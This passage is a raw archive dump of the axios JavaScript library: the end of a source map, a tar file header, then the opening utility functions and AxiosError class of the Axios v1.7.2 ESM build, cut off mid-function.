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"}esm/axios.js000064400000273021151677271550007036 0ustar00// Axios v1.7.2 Copyright (c) 2024 Matt Zabriskie and contributors function bind(fn, thisArg) { return function wrap() { return fn.apply(thisArg, arguments); }; } // utils is a library of generic helper functions non-specific to axios const {toString} = Object.prototype; const {getPrototypeOf} = Object; const kindOf = (cache => thing => { const str = toString.call(thing); return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase()); })(Object.create(null)); const kindOfTest = (type) => { type = type.toLowerCase(); return (thing) => kindOf(thing) === type }; const typeOfTest = type => thing => typeof thing === type; /** * Determine if a value is an Array * * @param {Object} val The value to test * * @returns {boolean} True if value is an Array, otherwise false */ const {isArray} = Array; /** * Determine if a value is undefined * * @param {*} val The value to test * * @returns {boolean} True if the value is undefined, otherwise false */ const isUndefined = typeOfTest('undefined'); /** * Determine if a value is a Buffer * * @param {*} val The value to test * * @returns {boolean} True if value is a Buffer, otherwise false */ function isBuffer(val) { return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor) && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val); } /** * Determine if a value is an ArrayBuffer * * @param {*} val The value to test * * @returns {boolean} True if value is an ArrayBuffer, otherwise false */ const isArrayBuffer = kindOfTest('ArrayBuffer'); /** * Determine if a value is a view on an ArrayBuffer * * @param {*} val The value to test * * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false */ function isArrayBufferView(val) { let result; if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) { result = ArrayBuffer.isView(val); } else { result = (val) && (val.buffer) && (isArrayBuffer(val.buffer)); } return result; } /** * Determine if a value is a String * * @param {*} val The value to test * * @returns {boolean} True if value is a String, otherwise false */ const isString = typeOfTest('string'); /** * Determine if a value is a Function * * @param {*} val The value to test * @returns {boolean} True if value is a Function, otherwise false */ const isFunction = typeOfTest('function'); /** * Determine if a value is a Number * * @param {*} val The value to test * * @returns {boolean} True if value is a Number, otherwise false */ const isNumber = typeOfTest('number'); /** * Determine if a value is an Object * * @param {*} thing The value to test * * @returns {boolean} True if value is an Object, otherwise false */ const isObject = (thing) => thing !== null && typeof thing === 'object'; /** * Determine if a value is a Boolean * * @param {*} thing The value to test * @returns {boolean} True if value is a Boolean, otherwise false */ const isBoolean = thing => thing === true || thing === false; /** * Determine if a value is a plain Object * * @param {*} val The value to test * * @returns {boolean} True if value is a plain Object, otherwise false */ const isPlainObject = (val) => { if (kindOf(val) !== 'object') { return false; } const prototype = getPrototypeOf(val); return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val); }; /** * Determine if a value is a Date * * @param {*} val The value to test * * @returns {boolean} True if value is a Date, otherwise false */ const isDate = kindOfTest('Date'); /** * Determine if a value is a File * * @param {*} val The value to test * * @returns {boolean} True if value is a File, otherwise false */ const isFile = kindOfTest('File'); /** * Determine if a value is a Blob * * @param {*} val The value to test * * @returns {boolean} True if value is a Blob, otherwise false */ const isBlob = kindOfTest('Blob'); /** * Determine if a value is a FileList * * @param {*} val The value to test * * @returns {boolean} True if value is a File, otherwise false */ const isFileList = kindOfTest('FileList'); /** * Determine if a value is a Stream * * @param {*} val The value to test * * @returns {boolean} True if value is a Stream, otherwise false */ const isStream = (val) => isObject(val) && isFunction(val.pipe); /** * Determine if a value is a FormData * * @param {*} thing The value to test * * @returns {boolean} True if value is an FormData, otherwise false */ const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || // detect form-data instance (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) }; /** * Determine if a value is a URLSearchParams object * * @param {*} val The value to test * * @returns {boolean} True if value is a URLSearchParams object, otherwise false */ const isURLSearchParams = kindOfTest('URLSearchParams'); const [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest); /** * Trim excess whitespace off the beginning and end of a string * * @param {String} str The String to trim * * @returns {String} The String freed of excess whitespace */ const trim = (str) => str.trim ? str.trim() : str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, ''); /** * Iterate over an Array or an Object invoking a function for each item. * * If `obj` is an Array callback will be called passing * the value, index, and complete array for each item. * * If 'obj' is an Object callback will be called passing * the value, key, and complete object for each property. * * @param {Object|Array} obj The object to iterate * @param {Function} fn The callback to invoke for each item * * @param {Boolean} [allOwnKeys = false] * @returns {any} */ function forEach(obj, fn, {allOwnKeys = false} = {}) { // Don't bother if no value provided if (obj === null || typeof obj === 'undefined') { return; } let i; let l; // Force an array if not already something iterable if (typeof obj !== 'object') { /*eslint no-param-reassign:0*/ obj = [obj]; } if (isArray(obj)) { // Iterate over array values for (i = 0, l = obj.length; i < l; i++) { fn.call(null, obj[i], i, obj); } } else { // Iterate over object keys const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj); const len = keys.length; let key; for (i = 0; i < len; i++) { key = keys[i]; fn.call(null, obj[key], key, obj); } } } function findKey(obj, key) { key = key.toLowerCase(); const keys = Object.keys(obj); let i = keys.length; let _key; while (i-- > 0) { _key = keys[i]; if (key === _key.toLowerCase()) { return _key; } } return null; } const _global = (() => { /*eslint no-undef:0*/ if (typeof globalThis !== "undefined") return globalThis; return typeof self !== "undefined" ? self : (typeof window !== 'undefined' ? window : global) })(); const isContextDefined = (context) => !isUndefined(context) && context !== _global; /** * Accepts varargs expecting each argument to be an object, then * immutably merges the properties of each object and returns result. * * When multiple objects contain the same key the later object in * the arguments list will take precedence. * * Example: * * ```js * var result = merge({foo: 123}, {foo: 456}); * console.log(result.foo); // outputs 456 * ``` * * @param {Object} obj1 Object to merge * * @returns {Object} Result of all merge properties */ function merge(/* obj1, obj2, obj3, ... */) { const {caseless} = isContextDefined(this) && this || {}; const result = {}; const assignValue = (val, key) => { const targetKey = caseless && findKey(result, key) || key; if (isPlainObject(result[targetKey]) && isPlainObject(val)) { result[targetKey] = merge(result[targetKey], val); } else if (isPlainObject(val)) { result[targetKey] = merge({}, val); } else if (isArray(val)) { result[targetKey] = val.slice(); } else { result[targetKey] = val; } }; for (let i = 0, l = arguments.length; i < l; i++) { arguments[i] && forEach(arguments[i], assignValue); } return result; } /** * Extends object a by mutably adding to it the properties of object b. * * @param {Object} a The object to be extended * @param {Object} b The object to copy properties from * @param {Object} thisArg The object to bind function to * * @param {Boolean} [allOwnKeys] * @returns {Object} The resulting value of object a */ const extend = (a, b, thisArg, {allOwnKeys}= {}) => { forEach(b, (val, key) => { if (thisArg && isFunction(val)) { a[key] = bind(val, thisArg); } else { a[key] = val; } }, {allOwnKeys}); return a; }; /** * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM) * * @param {string} content with BOM * * @returns {string} content value without BOM */ const stripBOM = (content) => { if (content.charCodeAt(0) === 0xFEFF) { content = content.slice(1); } return content; }; /** * Inherit the prototype methods from one constructor into another * @param {function} constructor * @param {function} superConstructor * @param {object} [props] * @param {object} [descriptors] * * @returns {void} */ const inherits = (constructor, superConstructor, props, descriptors) => { constructor.prototype = Object.create(superConstructor.prototype, descriptors); constructor.prototype.constructor = constructor; Object.defineProperty(constructor, 'super', { value: superConstructor.prototype }); props && Object.assign(constructor.prototype, props); }; /** * Resolve object with deep prototype chain to a flat object * @param {Object} sourceObj source object * @param {Object} [destObj] * @param {Function|Boolean} [filter] * @param {Function} [propFilter] * * @returns {Object} */ const toFlatObject = (sourceObj, destObj, filter, propFilter) => { let props; let i; let prop; const merged = {}; destObj = destObj || {}; // eslint-disable-next-line no-eq-null,eqeqeq if (sourceObj == null) return destObj; do { props = Object.getOwnPropertyNames(sourceObj); i = props.length; while (i-- > 0) { prop = props[i]; if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) { destObj[prop] = sourceObj[prop]; merged[prop] = true; } } sourceObj = filter !== false && getPrototypeOf(sourceObj); } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype); return destObj; }; /** * Determines whether a string ends with the characters of a specified string * * @param {String} str * @param {String} searchString * @param {Number} [position= 0] * * @returns {boolean} */ const endsWith = (str, searchString, position) => { str = String(str); if (position === undefined || position > str.length) { position = str.length; } position -= searchString.length; const lastIndex = str.indexOf(searchString, position); return lastIndex !== -1 && lastIndex === position; }; /** * Returns new array from array like object or null if failed * * @param {*} [thing] * * @returns {?Array} */ const toArray = (thing) => { if (!thing) return null; if (isArray(thing)) return thing; let i = thing.length; if (!isNumber(i)) return null; const arr = new Array(i); while (i-- > 0) { arr[i] = thing[i]; } return arr; }; /** * Checking if the Uint8Array exists and if it does, it returns a function that checks if the * thing passed in is an instance of Uint8Array * * @param {TypedArray} * * @returns {Array} */ // eslint-disable-next-line func-names const isTypedArray = (TypedArray => { // eslint-disable-next-line func-names return thing => { return TypedArray && thing instanceof TypedArray; }; })(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array)); /** * For each entry in the object, call the function with the key and value. * * @param {Object<any, any>} obj - The object to iterate over. * @param {Function} fn - The function to call for each entry. * * @returns {void} */ const forEachEntry = (obj, fn) => { const generator = obj && obj[Symbol.iterator]; const iterator = generator.call(obj); let result; while ((result = iterator.next()) && !result.done) { const pair = result.value; fn.call(obj, pair[0], pair[1]); } }; /** * It takes a regular expression and a string, and returns an array of all the matches * * @param {string} regExp - The regular expression to match against. * @param {string} str - The string to search. * * @returns {Array<boolean>} */ const matchAll = (regExp, str) => { let matches; const arr = []; while ((matches = regExp.exec(str)) !== null) { arr.push(matches); } return arr; }; /* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */ const isHTMLForm = kindOfTest('HTMLFormElement'); const toCamelCase = str => { return str.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g, function replacer(m, p1, p2) { return p1.toUpperCase() + p2; } ); }; /* Creating a function that will check if an object has a property. */ const hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype); /** * Determine if a value is a RegExp object * * @param {*} val The value to test * * @returns {boolean} True if value is a RegExp object, otherwise false */ const isRegExp = kindOfTest('RegExp'); const reduceDescriptors = (obj, reducer) => { const descriptors = Object.getOwnPropertyDescriptors(obj); const reducedDescriptors = {}; forEach(descriptors, (descriptor, name) => { let ret; if ((ret = reducer(descriptor, name, obj)) !== false) { reducedDescriptors[name] = ret || descriptor; } }); Object.defineProperties(obj, reducedDescriptors); }; /** * Makes all methods read-only * @param {Object} obj */ const freezeMethods = (obj) => { reduceDescriptors(obj, (descriptor, name) => { // skip restricted props in strict mode if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) { return false; } const value = obj[name]; if (!isFunction(value)) return; descriptor.enumerable = false; if ('writable' in descriptor) { descriptor.writable = false; return; } if (!descriptor.set) { descriptor.set = () => { throw Error('Can not rewrite read-only method \'' + name + '\''); }; } }); }; const toObjectSet = (arrayOrString, delimiter) => { const obj = {}; const define = (arr) => { arr.forEach(value => { obj[value] = true; }); }; isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter)); return obj; }; const noop = () => {}; const toFiniteNumber = (value, defaultValue) => { return value != null && Number.isFinite(value = +value) ? value : defaultValue; }; const ALPHA = 'abcdefghijklmnopqrstuvwxyz'; const DIGIT = '0123456789'; const ALPHABET = { DIGIT, ALPHA, ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT }; const generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => { let str = ''; const {length} = alphabet; while (size--) { str += alphabet[Math.random() * length|0]; } return str; }; /** * If the thing is a FormData object, return true, otherwise return false. * * @param {unknown} thing - The thing to check. * * @returns {boolean} */ function isSpecCompliantForm(thing) { return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]); } const toJSONObject = (obj) => { const stack = new Array(10); const visit = (source, i) => { if (isObject(source)) { if (stack.indexOf(source) >= 0) { return; } if(!('toJSON' in source)) { stack[i] = source; const target = isArray(source) ? [] : {}; forEach(source, (value, key) => { const reducedValue = visit(value, i + 1); !isUndefined(reducedValue) && (target[key] = reducedValue); }); stack[i] = undefined; return target; } } return source; }; return visit(obj, 0); }; const isAsyncFn = kindOfTest('AsyncFunction'); const isThenable = (thing) => thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch); const utils$1 = { isArray, isArrayBuffer, isBuffer, isFormData, isArrayBufferView, isString, isNumber, isBoolean, isObject, isPlainObject, isReadableStream, isRequest, isResponse, isHeaders, isUndefined, isDate, isFile, isBlob, isRegExp, isFunction, isStream, isURLSearchParams, isTypedArray, isFileList, forEach, merge, extend, trim, stripBOM, inherits, toFlatObject, kindOf, kindOfTest, endsWith, toArray, forEachEntry, matchAll, isHTMLForm, hasOwnProperty, hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection reduceDescriptors, freezeMethods, toObjectSet, toCamelCase, noop, toFiniteNumber, findKey, global: _global, isContextDefined, ALPHABET, generateString, isSpecCompliantForm, toJSONObject, isAsyncFn, isThenable }; /** * Create an Error with the specified message, config, error code, request and response. * * @param {string} message The error message. * @param {string} [code] The error code (for example, 'ECONNABORTED'). * @param {Object} [config] The config. * @param {Object} [request] The request. * @param {Object} [response] The response. * * @returns {Error} The created error. */ function AxiosError$1(message, code, config, request, response) { Error.call(this); if (Error.captureStackTrace) { Error.captureStackTrace(this, this.constructor); } else { this.stack = (new Error()).stack; } this.message = message; this.name = 'AxiosError'; code && (this.code = code); config && (this.config = config); request && (this.request = request); response && (this.response = response); } utils$1.inherits(AxiosError$1, Error, { toJSON: function toJSON() { return { // Standard message: this.message, name: this.name, // Microsoft description: this.description, number: this.number, // Mozilla fileName: this.fileName, lineNumber: this.lineNumber, columnNumber: this.columnNumber, stack: this.stack, // Axios config: utils$1.toJSONObject(this.config), code: this.code, status: this.response && this.response.status ? this.response.status : null }; } }); const prototype$1 = AxiosError$1.prototype; const descriptors = {}; [ 'ERR_BAD_OPTION_VALUE', 'ERR_BAD_OPTION', 'ECONNABORTED', 'ETIMEDOUT', 'ERR_NETWORK', 'ERR_FR_TOO_MANY_REDIRECTS', 'ERR_DEPRECATED', 'ERR_BAD_RESPONSE', 'ERR_BAD_REQUEST', 'ERR_CANCELED', 'ERR_NOT_SUPPORT', 'ERR_INVALID_URL' // eslint-disable-next-line func-names ].forEach(code => { descriptors[code] = {value: code}; }); Object.defineProperties(AxiosError$1, descriptors); Object.defineProperty(prototype$1, 'isAxiosError', {value: true}); // eslint-disable-next-line func-names AxiosError$1.from = (error, code, config, request, response, customProps) => { const axiosError = Object.create(prototype$1); utils$1.toFlatObject(error, axiosError, function filter(obj) { return obj !== Error.prototype; }, prop => { return prop !== 'isAxiosError'; }); AxiosError$1.call(axiosError, error.message, code, config, request, response); axiosError.cause = error; axiosError.name = error.name; customProps && Object.assign(axiosError, customProps); return axiosError; }; // eslint-disable-next-line strict const httpAdapter = null; /** * Determines if the given thing is a array or js object. * * @param {string} thing - The object or array to be visited. * * @returns {boolean} */ function isVisitable(thing) { return 